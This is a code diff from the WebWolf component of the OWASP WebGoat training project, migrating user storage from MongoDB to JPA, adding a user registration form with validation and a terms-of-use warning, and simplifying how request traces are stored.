.maximumSize(4000).build(new CacheLoader<String, ConcurrentLinkedDeque<Trace>>() {
@Override
public ConcurrentLinkedDeque<Trace> load(String s) throws Exception {
return new ConcurrentLinkedDeque<>();
}
});
private final WebGoatUserToCookieRepository repository;
private final UserRepository userRepository;
public WebWolfTraceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
this.repository = repository;
this.userRepository = userRepository;
}
private final EvictingQueue<Trace> traces = EvictingQueue.create(10000);
@Override
public List<Trace> findAll() {
@ -55,58 +29,18 @@ public class WebWolfTraceRepository implements TraceRepository {
return Lists.newArrayList(trace);
}
public List<Trace> findTraceForUser(String username) {
return Lists.newArrayList(cookieTraces.getUnchecked(username));
public List<Trace> findAllTraces() {
return Lists.newArrayList(traces);
}
@Override
public void add(Map<String, Object> map) {
Optional<String> host = getFromHeaders("host", map);
String path = (String) map.getOrDefault("path", "");
if (host.isPresent() && path.contains("/landing/")) {
Optional<String> cookie = getFromHeaders("cookie", map);
Optional<String> user = cookie.isPresent() ? findUserBasedOnCookie(cookie.get()) : getLoggedInUser();
user.ifPresent(u -> {
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u);
traces.addFirst(new Trace(new Date(), map));
cookieTraces.put(u, traces);
});
//No user found based on cookie and logged in user, so add the trace to all users
//In case of XXE no cookie will be send we cannot retrieve who is logged in.
//Standalone this is ok, in a challenge you need to make sure the solution or secret the users need to
//fetch is unique
if (!user.isPresent()) {
List<WebGoatUser> users = this.userRepository.findAll();
users.forEach(u -> {
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u.getUsername());
traces.addFirst(new Trace(new Date(), map));
cookieTraces.put(u.getUsername(), traces);
});
if (host.isPresent() && path.contains("/landing")) {
traces.add(new Trace(new Date(), map));
}
}
}
private Optional<String> findUserBasedOnCookie(String cookiesIncomingRequest) {
//Request from WebGoat to WebWolf will contain the session cookie of WebGoat try to map it to a user
//this mapping is added to userSession by the CookieFilter in WebGoat code
HttpCookie cookie = HttpCookie.parse(cookiesIncomingRequest).get(0);
Optional<WebGoatUserCookie> userToCookie = repository.findByCookie(cookie.getValue());
Optional<String> user = userToCookie.map(u -> u.getUsername());
return user;
}
private Optional<String> getLoggedInUser() {
Optional<String> user = empty();
//User is maybe logged in to WebWolf use this user
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
user = of(wg.getUsername());
}
return user;
}
private Optional<String> getFromHeaders(String header, Map<String, Object> map) {
Map<String, Object> headers = (Map<String, Object>) map.get("headers");

View File

@ -0,0 +1,47 @@
package org.owasp.webwolf.user;
import lombok.AllArgsConstructor;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.stereotype.Controller;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.PostMapping;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
/**
* @author nbaars
* @since 3/19/17.
*/
@Controller
@AllArgsConstructor
@Slf4j
public class RegistrationController {
private UserValidator userValidator;
private UserService userService;
private AuthenticationManager authenticationManager;
@GetMapping("/registration")
public String showForm(UserForm userForm) {
return "registration";
}
@PostMapping("/register.mvc")
@SneakyThrows
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
userValidator.validate(userForm, bindingResult);
if (bindingResult.hasErrors()) {
return "registration";
}
userService.addUser(userForm.getUsername(), userForm.getPassword());
request.login(userForm.getUsername(), userForm.getPassword());
return "redirect:/WebWolf/home";
}
}

View File

@ -0,0 +1,28 @@
package org.owasp.webwolf.user;
import lombok.Getter;
import lombok.Setter;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size;
/**
* @author nbaars
* @since 3/19/17.
*/
@Getter
@Setter
public class UserForm {
@NotNull
@Size(min=6, max=20)
private String username;
@NotNull
@Size(min=6, max=10)
private String password;
@NotNull
@Size(min=6, max=10)
private String matchingPassword;
@NotNull
private String agree;
}

View File

@ -1,12 +1,12 @@
package org.owasp.webwolf.user;
import org.springframework.data.mongodb.repository.MongoRepository;
import org.springframework.data.jpa.repository.JpaRepository;
/**
* @author nbaars
* @since 3/19/17.
*/
public interface UserRepository extends MongoRepository<WebGoatUser, String> {
public interface UserRepository extends JpaRepository<WebGoatUser, String> {
WebGoatUser findByUsername(String username);
}

View File

@ -27,4 +27,9 @@ public class UserService implements UserDetailsService {
}
public void addUser(String username, String password) {
userRepository.save(new WebGoatUser(username, password));
}
}

View File

@ -0,0 +1,35 @@
package org.owasp.webwolf.user;
import lombok.AllArgsConstructor;
import org.springframework.stereotype.Component;
import org.springframework.validation.Errors;
import org.springframework.validation.Validator;
/**
* @author nbaars
* @since 3/19/17.
*/
@Component
@AllArgsConstructor
public class UserValidator implements Validator {
private final UserRepository userRepository;
@Override
public boolean supports(Class<?> aClass) {
return UserForm.class.equals(aClass);
}
@Override
public void validate(Object o, Errors errors) {
UserForm userForm = (UserForm) o;
if (userRepository.findByUsername(userForm.getUsername()) != null) {
errors.rejectValue("username", "username.duplicate");
}
if (!userForm.getMatchingPassword().equals(userForm.getPassword())) {
errors.rejectValue("matchingPassword", "password.diff");
}
}
}

View File

@ -1,13 +1,14 @@
package org.owasp.webwolf.user;
import lombok.Getter;
import org.springframework.data.annotation.Id;
import org.springframework.data.annotation.Transient;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Transient;
import java.util.Collection;
import java.util.Collections;
@ -16,6 +17,7 @@ import java.util.Collections;
* @since 3/19/17.
*/
@Getter
@Entity
public class WebGoatUser implements UserDetails {
public static final String ROLE_USER = "WEBGOAT_USER";

View File

@ -1,14 +0,0 @@
package org.owasp.webwolf.user;
import org.springframework.data.mongodb.repository.MongoRepository;
import java.util.Optional;
/**
* @author nbaars
* @since 8/20/17.
*/
public interface WebGoatUserToCookieRepository extends MongoRepository<WebGoatUserCookie, String> {
Optional<WebGoatUserCookie> findByCookie(String cookie);
}

View File

@ -3,8 +3,13 @@ server.error.path=/error.html
server.session.timeout=6000
#server.contextPath=/WebWolf
server.port=8081
server.address=127.0.0.1
server.session.cookie.name = WEBWOLFSESSION
spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf
spring.jpa.hibernate.ddl-auto=update
spring.messages.basename=i18n/messages
logging.level.org.springframework=INFO
logging.level.org.springframework.boot.devtools=WARN
logging.level.org.owasp=DEBUG
@ -25,12 +30,10 @@ multipart.location=${java.io.tmpdir}
multipart.max-file-size=1Mb
multipart.max-request-size=1Mb
webgoat.build.version=@project.version@
webgoat.server.directory=${user.home}/.webgoat-${webgoat.build.version}/
webwolf.fileserver.location=${java.io.tmpdir}/webwolf-fileserver
spring.data.mongodb.host=${WG_MONGO_HOST:}
spring.data.mongodb.port=${WG_MONGO_PORT:27017}
spring.data.mongodb.database=webgoat
spring.jackson.serialization.indent_output=true
spring.jackson.serialization.write-dates-as-timestamps=false

View File

@ -0,0 +1,40 @@
#
# This file is part of WebGoat, an Open Web Application Security Project utility. For details,
# please see http://www.owasp.org/
# <p>
# Copyright (c) 2002 - 2017 Bruce Mayhew
# <p>
# This program is free software; you can redistribute it and/or modify it under the terms of the
# GNU General Public License as published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later version.
# <p>
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
# even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
# <p>
# You should have received a copy of the GNU General Public License along with this program; if
# not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
# 02111-1307, USA.
# <p>
# Getting Source ==============
# <p>
# Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
# projects.
# <p>
#
register.new=Register new user
sign.up=Sign up
register.title=Register
password=Password
password.confirm=Confirm password
username=Username
not.empty=This field is required.
username.size=Please use between 6 and 10 characters.
username.duplicate=User already exists.
password.size=Password should at least contain 6 characters
password.diff=The passwords do not match.

View File

@ -45,6 +45,7 @@
<div class="col-xs-6 col-sm-6 col-md-6">
</div>
</div>
<div><b><a th:href="@{/registration}" th:text="#{register.new}"></a></b></div>
</fieldset>
</form>
</div>

View File

@ -0,0 +1,89 @@
<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<div th:replace="fragments/header :: header-css"/>
</head>
<body>
<div th:replace="fragments/header :: header"/>
<div class="container">
<br/><br/>
<fieldset>
<legend th:text="#{register.title}">Please Sign Up</legend>
<form class="form-horizontal" action="#" th:action="@{/register.mvc}" th:object="${userForm}"
method='POST'>
<div class="form-group" th:classappend="${#fields.hasErrors('username')}? 'has-error'">
<label for="username" class="col-sm-2 control-label" th:text="#{username}">Username</label>
<div class="col-sm-4">
<input autofocus="dummy_for_thymeleaf_parser" type="text" class="form-control"
th:field="*{username}"
id="username" placeholder="Username" name='username'/>
</div>
<span th:if="${#fields.hasErrors('username')}" th:errors="*{username}">Username error</span>
</div>
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
<label for="password" class="col-sm-2 control-label" th:text="#{password}">Password</label>
<div class="col-sm-4">
<input type="password" class="form-control" id="password" placeholder="Password"
name='password' th:value="*{password}"/>
</div>
<span th:if="${#fields.hasErrors('password')}" th:errors="*{password}">Password error</span>
</div>
<div class="form-group" th:classappend="${#fields.hasErrors('matchingPassword')}? 'has-error'">
<label for="matchingPassword" class="col-sm-2 control-label" th:text="#{password.confirm}">Confirm
password</label>
<div class="col-sm-4">
<input type="password" class="form-control" id="matchingPassword" placeholder="Password"
name='matchingPassword' th:value="*{matchingPassword}"/>
</div>
<span th:if="${#fields.hasErrors('matchingPassword')}"
th:errors="*{matchingPassword}">Password error</span>
</div>
<div class="form-group" th:classappend="${#fields.hasErrors('agree')}? 'has-error'">
<label class="col-sm-2 control-label">Terms of use</label>
<div class="col-sm-6">
<div style="border: 1px solid #e5e5e5; height: 200px; overflow: auto; padding: 10px;">
<p>
While running this program your machine will be extremely
vulnerable to attack. You should disconnect from the Internet while using
this program. WebGoat's default configuration binds to localhost to minimize
the exposure.
</p>
<p>
This program is for educational purposes only. If you attempt
these techniques without authorization, you are very likely to get caught. If
you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.
</p>
</div>
</div>
</div>
<div class="form-group" th:classappend="${#fields.hasErrors('agree')}? 'has-error'">
<div class="col-sm-6 col-sm-offset-2">
<div class="checkbox">
<label>
<input type="checkbox" name="agree" value="agree"/>Agree with the terms and
conditions
</label>
</div>
</div>
</div>
<div class="form-group">
<div class="col-sm-offset-2 col-sm-6">
<button type="submit" class="btn btn-primary" th:text="#{sign.up}">Sign up</button>
</div>
</div>
</form>
</fieldset>
</div>
</body>
</html>

View File

@ -0,0 +1,49 @@
package org.owasp.webwolf.mailbox;
import org.hamcrest.CoreMatchers;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.time.LocalDateTime;
import java.util.List;
import static org.junit.Assert.*;
@DataJpaTest
@RunWith(SpringRunner.class)
public class MailboxRepositoryTest {
@Autowired
private MailboxRepository mailboxRepository;
@Test
public void emailShouldBeSaved() {
Email email = new Email();
email.setTime(LocalDateTime.now());
email.setTitle("test");
email.setSender("test@test.com");
email.setContents("test");
email.setRecipient("someone@webwolf.org");
mailboxRepository.save(email);
}
@Test
public void savedEmailShouldBeFoundByReceipient() {
Email email = new Email();
email.setTime(LocalDateTime.now());
email.setTitle("test");
email.setSender("test@test.com");
email.setContents("test");
email.setRecipient("someone@webwolf.org");
mailboxRepository.saveAndFlush(email);
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc("someone@webwolf.org");
assertThat(emails.size(), CoreMatchers.is(1));
}
}

Some files were not shown because too many files have changed in this diff Show More